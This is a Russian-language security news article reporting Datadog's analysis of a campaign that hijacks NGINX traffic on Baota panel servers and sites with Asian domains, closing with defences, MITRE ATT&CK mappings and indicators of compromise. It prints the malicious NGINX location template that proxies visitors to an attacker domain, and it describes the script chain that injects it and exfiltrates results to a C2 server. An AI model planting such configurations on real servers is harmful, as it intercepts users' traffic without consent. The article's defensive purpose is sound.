Исследователи кибербезопасности компании Datadog обнаружили и проанализировали новую активную кампанию по перехвату веб-трафика, которая нацелена на установки веб-сервера NGINX и панели управления хостингом, в частности, популярную в Азии панель Baota (BT). Злоумышленники, связанные с недавней эксплуатацией уязвимости React2Shell, внедряют вредоносные конфигурации в NGINX, чтобы незаметно перенаправлять трафик пользователей через контролируемые ими серверы.
Описание
Ключевые особенности кампании
Кампания характеризуется целенаправленным подходом. Основными целями становятся веб-сайты с азиатскими доменами верхнего уровня (TLD), включая .in, .id, .pe, .bd, .edu, .gov и .th. Кроме того, атака активно нацелена на инфраструктуру, использующую китайскую панель управления Baota Panel. Механизм атаки заключается в модификации конфигурационных файлов NGINX. Внедренная вредоносная директива "proxy_pass" перехватывает легитимные запросы пользователей к сайту и незаметно перенаправляет их через бэкенд-серверы, контролируемые злоумышленниками. При этом сохраняются оригинальные HTTP-заголовки, что позволяет атаке оставаться скрытой.
Внутреннее устройство вредоносной конфигурации
Работа NGINX полностью зависит от его конфигурационных файлов. Злоумышленники злоупотребляют ключевыми директивами для реализации своей схемы. Директива "location" определяет, как обрабатывать запросы к определенным путям (URI) на сервере. В рамках атаки создается специальный блок "location", который активируется при обращении пользователя к заранее заданному пути, например, "/help" или "/game". Внутри этого блока директива "rewrite" модифицирует URL-запрос, подготавливая его для передачи. Самая важная часть - это директива "proxy_pass", которая и отправляет перехваченный запрос на домен, контролируемый атакующим. Директива "proxy_set_header" используется для того, чтобы подменить заголовок "Host" в запросе и сохранить другие служебные заголовки, такие как "X-Real-IP", что помогает маскировать перенаправление.
| 1 2 3 4 5 6 7 8 9 10 11 12 | location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; } |
Анализ инструментария злоумышленников показывает, что вредоносные конфигурации генерируются по шаблонам, динамически подстраиваемым под целевой домен. Например, для сайтов с TLD .th или .edu трафик перенаправляется на домен "th.cogicpt.org", а для доменов .in или .id - на "ide.hashbank8.com". Универсальный шаблон для любых доменов использует пути вроде "/help" или "/blog" и перенаправляет на "xzz.pier46.com".
Многоэтапный и автоматизированный процесс атаки
Кампания использует сложный набор скриптов, обеспечивающих автоматическое проникновение, внедрение и обеспечение устойчивости (persistence).
На первом этапе скрипт-оркестратор "zx.sh" загружает и запускает последующие компоненты. Интересно, что если стандартные утилиты вроде "curl" недоступны, скрипт использует встроенную в Bash возможность создания сырого TCP-соединения для загрузки данных, что является методом уклонения от обнаружения.
Далее в игру вступают специализированные скрипты для внедрения. Скрипт "bt.sh" предназначен исключительно для сред с панелью управления Baota. Он находит конфигурационные файлы NGINX по специфическому пути, анализирует доменное имя сайта ("server_name") и внедряет подходящий шаблон конфигурации. После внедрения скрипт пытается плавно перезагрузить конфигурацию NGINX, чтобы избежать простоев и остаться незамеченным.
Более продвинутый скрипт "4zdh.sh" обладает расширенными возможностями. Он сканирует множество стандартных путей размещения конфигураций NGINX, а не только Baota. Этот скрипт применяет сложные методы обработки текста с помощью "csplit" и "awk", чтобы точечно вставить вредоносный блок, не повредив структуру исходного файла. Перед перезагрузкой он всегда проверяет синтаксис новой конфигурации командой "nginx -t".
Скрипт "zdh.sh" имеет более узкую специализацию, нацеливаясь на классические Linux-установки NGINX в директории "/etc/nginx/sites-enabled" и предпочитая определенные TLD.
Завершает процесс скрипт "ok.sh", который выполняет функцию сбора разведданных. Он создает отчет ("nginx_scan.txt") обо всех успешно внедренных правилах перехвата, сопоставляя скомпрометированные домены, использованные шаблоны и конечные серверы злоумышленников. Затем этот отчет эксфильтрируется на командный сервер (C2) с IP-адресом 158.94.210[.]227.
Рекомендации по защите и обнаружению
Для защиты от подобных атак эксперты рекомендуют регулярно проводить аудит конфигурационных файлов NGINX, особенно блоков "location" и директив "proxy_pass". Следует обращать внимание на подозрительные пути и неизвестные домены в этих директивах. Важно ограничить права на запись в конфигурационные директории NGINX и использовать решения для контроля целостности файлов (File Integrity Monitoring, FIM). Такие решения, включая Datadog Workload Protection, могут обнаруживать несанкционированные изменения файлов с расширением ".conf" в стандартных путях, таких как "/etc/nginx/".
Кампания соответствует нескольким тактикам и техникам матрицы MITRE ATT&CK. К ним относятся выполнение через интерпретатор командной строки (T1059.004), обеспечение устойчивости через модификацию компонентов серверного ПО (T1505.004), уклонение от обнаружения с помощью обфускации (T1027), сбор информации о системе и файлах (T1082, T1083), атака "злоумышленник в середине" (Adversary-in-the-Middle, T1557) и эксфильтрация данных через канал управления (T1041). Понимание этих техник помогает выстроить эффективную многослойную защиту.
Индикаторы компрометации
IPv4
- 158.94.210.227
Domains
- ide.hashbank8.com
- th.cogicpt.org
- xzz.pier46.com
